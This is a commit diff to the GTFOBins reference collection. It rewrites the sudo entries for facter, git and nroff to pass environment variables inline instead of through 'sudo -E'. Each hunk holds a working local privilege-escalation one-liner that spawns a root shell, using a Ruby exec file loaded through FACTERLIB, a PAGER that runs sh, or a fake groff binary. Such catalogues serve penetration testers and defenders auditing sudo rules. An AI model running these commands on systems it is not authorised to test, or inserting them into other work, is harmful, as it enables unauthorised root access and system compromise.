Use the sudo VAR=... syntax instead of using -E

_gtfobins/facter.md

@@ -9,5 +9,5 @@ functions:
     - code: |
         TF=$(mktemp -d)
         echo 'exec("/bin/sh")' > $TF/x.rb
-        FACTERLIB=$TF sudo -E facter
+        sudo FACTERLIB=$TF facter
 ---

_gtfobins/git.md

@@ -14,7 +14,7 @@ functions:
         mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
         git -C "$TF" commit --allow-empty -m x
   sudo:
-    - code: PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help
+    - code: sudo PAGER='sh -c "exec sh 0<&1"' git -p help
     - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
       code: |
         sudo git -p help config

_gtfobins/nroff.md

@@ -13,5 +13,5 @@ functions:
         echo '#!/bin/sh' > $TF/groff
         echo '/bin/sh' >> $TF/groff
         chmod +x $TF/groff
-        sudo -E GROFF_BIN_PATH=$TF nroff
+        sudo GROFF_BIN_PATH=$TF nroff
 ---